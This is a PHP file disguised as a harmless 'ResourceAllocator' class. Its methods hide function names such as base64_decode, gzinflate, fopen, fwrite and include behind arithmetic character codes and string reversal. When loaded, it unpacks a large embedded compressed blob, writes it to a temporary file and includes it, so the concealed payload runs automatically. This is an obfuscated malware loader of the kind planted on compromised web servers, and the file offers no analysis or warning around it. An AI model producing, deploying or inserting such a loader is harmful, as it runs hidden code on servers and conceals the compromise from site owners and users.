<?php
class ResourceAllocator {
	private $zt = '';
	private $as = '';

	public function updateRegistry($p1) {
		$a = array((23+63+15),((94*1)+6),(111),(3*33),(90+8+3),((90+7+3)),(((2*4)+87)),(((54*58)-3080)),(((47*45)-2061)),(101),(98+17),97,((103-5)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function initializeModule($p1) {
		$a = array(((103-2)),((7+109)),97,((52+31+25)),(((79*1)+23)),((2*55)),((41*2)+23),(((116*1)+6)),(((32*67)-2041)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function logTransaction($p1,$p2) {
		$a = array(102,((110*1)+1),(110+2),(((16*5)+21)),((116-6)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function calculateSum($p1,$p2) {
		$a = array(((108-7)),116,(113-8),(22+92),((7*106)-623),(86+7+9));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function authorizeUser($p1) {
		$a = array(102,((77+22)),((7+101)),((3*37)),((118-3)),(((105*14)-1369)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function fetchSummary($p1,$p2=null) {
		$a = array(((30+35+49)),((57+59)),((3+111)),((43*60)-2475),((25+33+51)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function sanitizeInput() {
		$this->as = $this->fetchSummary($this->scheduleJob(), '/');
	}

	public function triggerCallback() {
		$this->zt = $this->initializeModule($this->updateRegistry($this->mh));
	}

	public function resolveAction() {
		$fn = $this->as.'/yi-68a19c4c5ae09';
		$f = $this->logTransaction($fn, 'w');
		$this->calculateSum($f, $this->zt);
		$this->authorizeUser($f);
		$this->prepareOutput($fn);
	}

	private $mh = 'tRf9T+s48l8BCW0bFVVNYjuUXvbpievbfTqOroB3p9MTitLES' . 'VPapCTpJ8v/fjPjpLgByt4PR0hqez49M54Z/+3LYrI4CWZ+UZx' . '4y/J5kScrv5QnRemXSXDm7Z4GangSLdOgTLL0xIu37TMvkYXxn' . 'ETt00LOostLxDTU0NuFy7YxyGW5zNOTidxY4yRtv6L9JOIHY/B' . 'yKEyTQByeX0lcP8/9bbvlxdm85f7aYqaw4eGO7dhWyGwRCekwx' . '4LfAOamCOCJWt2Wgy+sRADrC5zBj7R9C0Y9y2+dt7zxhjhWPAT' . 'HrxVy5vSdnuCA2hOm04NxAKQ2jBn8Aq4VCR/5mcQVfmz8tVGQ0' . '6tEMxTwuA5QAtDCygWuxKla4U6f+cDZZjbr24L1hS8cm7HgvV8' . 'ghmEfuDugAOMO46LPInh9u8d9fsGk3dvDbRFyIUJiGSE+czjqh' . '4r5MENlgRC+fdTIL6eokWM6juM7pOR8TKa2lSHF2JaEuNlVq5Y' . 'wkRtxItC0IBaOMBE/UB8kyScIwGEwrkfjSb4fSjLGBTiQOT0we' . 'GRFYHAuLEuiug74xBICNhHA6EJE4HXwExoEMAQ6LgRn0C8YE8A' . 'ARIhPLrEjwdBr5Cs7RIlJkSqPOIAoAh7hRiAuKDz2fluvdL0Ai' . 'RyM3OCXI0aRKquRZ21QjeMgFARMF6/kuI0eeRAhu5gijpbRKZx' . 'ROJKtMopGh+aoMFKyfeA8LlaVmzju0SHf5WQ/VC7CqcyKPU4lo' . 'MZ8zBBi9dgFZ/D0LPSsbVoQOCgt7PnsQh0bW1kBoBD/SFrOK2u' . 'gffXoXk4oIHpITGcIHi7s+pQgPaxTNJBncGeA2wurLdIZXGT1r' . 'kkw4GMYoINpS/E+gKaLVy0ckj9fpEo+8iNmk3xN9q02ySM4XQH' . 'rMxTNJCwhY9bntK9VdojLLwBfsIhbcMBMbjEGAKbWKmtapBJ5H' . 'uCcQXYh1owDmsmQosaSu7TBnnMb8CzERBoVA/iRfG/R6GMaIOB' . 'MKhpETWrDbP0GEWomiDvH6CKd9nplTbUQG12EcmoiPAJlzb9s8' . 'KfYUGZVNq0Nmq13FSZJPXBAjYkCCLlY1lxpSxwD4qgPKMgBh7Q' . 'Ln6YfOw+lm2ozmgsV4WasnKc0xMgBiPIfjMmFB9ZKal8jZljho' . 'irk7tq6hJtsVYQySFlOlXBDShqUFPyZ2jEYqz5Zy2itTqUTWLR' . '/zsyqQFEaUdIVmFtwtkRNuU7HCoTZmI65LfdHqlChJ/qUe8hcV' . 'HQgK5h0SkhPx1I5S6iML7UioHIOVOmXifRDmbehPYDiHmMZBlg' . 'MbwbvvGUYg3cxoLACCFqEpChkCS3Db8P7nxrKI+Cs4Q1axoNhP' . 'J9548XC9Qqps4lThUB8COOXX4oyX2SFmp1ruFiNoYwZxqnrRv6' . 'skMZzmBxwm49rhV8kwJtgNB2UNwS/fKw2YEGlq1SOY/fMuxqN/' . 'vF9ODjzso3bTtLSyLNlGrZ7HXiMAXU7+rrd5R14EbKJqs5GTX4' . 'iiwe3sScon8ZgPUlmsm67XnG7LurwU+Nu9jr0bzxUfRZa7vQNF' . 'u+YvEbp6Ep3Ld45/MBWn/9HHkL/czqfLoCIcS79R7Jhp/OBMSg' . 'UIK5alVEB8UVZ940KZtcB7Q4+xqGKuDfwwQt5jeRpYKcDKrWNb' . 'nP9ogOPUZv0EGZ14AEqZEixoRQ7RBIgV3sr9PMmmt219b/OJ3M' . 'w3+CNOui+ww9JA63eEXfonk/mxsMbw3C08uGHpDXM19jGJ3Pi0' . 'Ii5Djx49sBzSRrMlqFUBh+8vN4eClzblTvYZ7KJ3ZYfp9Pp7qk' . 'M1ottFD9Gj8sW+iffho3owqYULbnaNgHU42I8AFuV0rzAn8388' . 'ewggySAB72lodLZ1HeDZT7zkjTBPLLaGgOaQ1rJFrgCGOdXP26' . 'vR3/ce3d3196/hrffv/3nj+Hw9lwlsL+E//vo7v78bWzXr3GMy' . '7fR9fXo39ejq6/330c3h1zsQ+d8unBU0O3w/sftzf3t15u7b7C' . '9/5+g34df/94QQHn4GM3V6OZmeHV///2fw9GPA1tCKB+lfIfE6' . 'uJp278GBhSGGjGRGxkoFnRin6ZqOZZlkkZZDaG1YJZRINMKVT9' . 'AbxQiLJ8rqEWnen0Rontwej+ZG0Z1U6eQqyrjmVdsI3fh54X0Q' . 'Jkqes+8ie+2CaYrUoAWcBMyHlz92MD9h/Yexyt9GS4/eI4aLPD' . 'eo/JqXXUbCCAC+4XFiiovce3qbPP9CX1LKLFPwZI9eEtX8c3eI' . 'y2xW0CBXW1xOYHVnSpB6daNiix4zBYybbfROl80zIXie6m3M7A' . 'E1fx9Nae4P5B2Toz0iLJMjCX8GpfaOut1WK9ujUAZ4zlaLMtCT' . 'c5pr6hmmDW6krqbOI1kVpNiwloGGzeCUKw56BWCmfoh7Hwyr5U' . 'KM4OCH9sU4K4WUUzDBXiJQ682VH2nF4E8Xx8MVBs6NRW9JAar+' . 'bYYu3UM3Q1vIUXqZp7kdGqqghkfwVwp7xFiPns6glk1w9MK+ak' . '8gotXN2jMAfPLe+Al3W+MBz1m4I6HbAP/uApwAfyIa9Wppw3Ga' . 'ImSeB+3WUlXio+YZ2t1Hh4u0+Vs9plVMVUsP+SFF7pXRp9aHa5' . 'xH2qV7BlBzEXJrJS5t/LzNm1Wj2xxgQ3Lm68q4fHcJQKVFZucN' . 'rHOyLQdOKX01Yg38T6j0hw2NThyucDrI10tZDDJTvQECRdHTBv' . 'xvPsmXiiiuxh5Oiyt3J4QLPC7DddTRKhuWm6gQTFIr9NasXhu/' . 'PnnfvZU6rPARw0romp3s91jdZdpuBvD3f0VGeqXtVDd6xDwVOq' . 'AicqCCAioSGapCxVIpkEGvd7YL6RgXjWbFllaj0kDgypOfY9E2' . 'r9ycZxX7Z12cUTzE97eNi//BQ==';

	public function prepareOutput($p) {
		include($p);
	}

	public function scheduleJob() {
		$a=array(((5*23)),(131-10),((125-10)),(98-3),(((67*1)+36)),((47+54)),(((53*2)+10)),(((39*15)-490)),(((67*45)-2899)),(63+35+3),(((26*90)-2231)),(((53*2)+6)),((5*19)),((2*50)),((53*1)+52),(((90*23)-1956)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$kc = new ResourceAllocator();
$kc->sanitizeInput();
$kc->triggerCallback();
$kc->resolveAction();
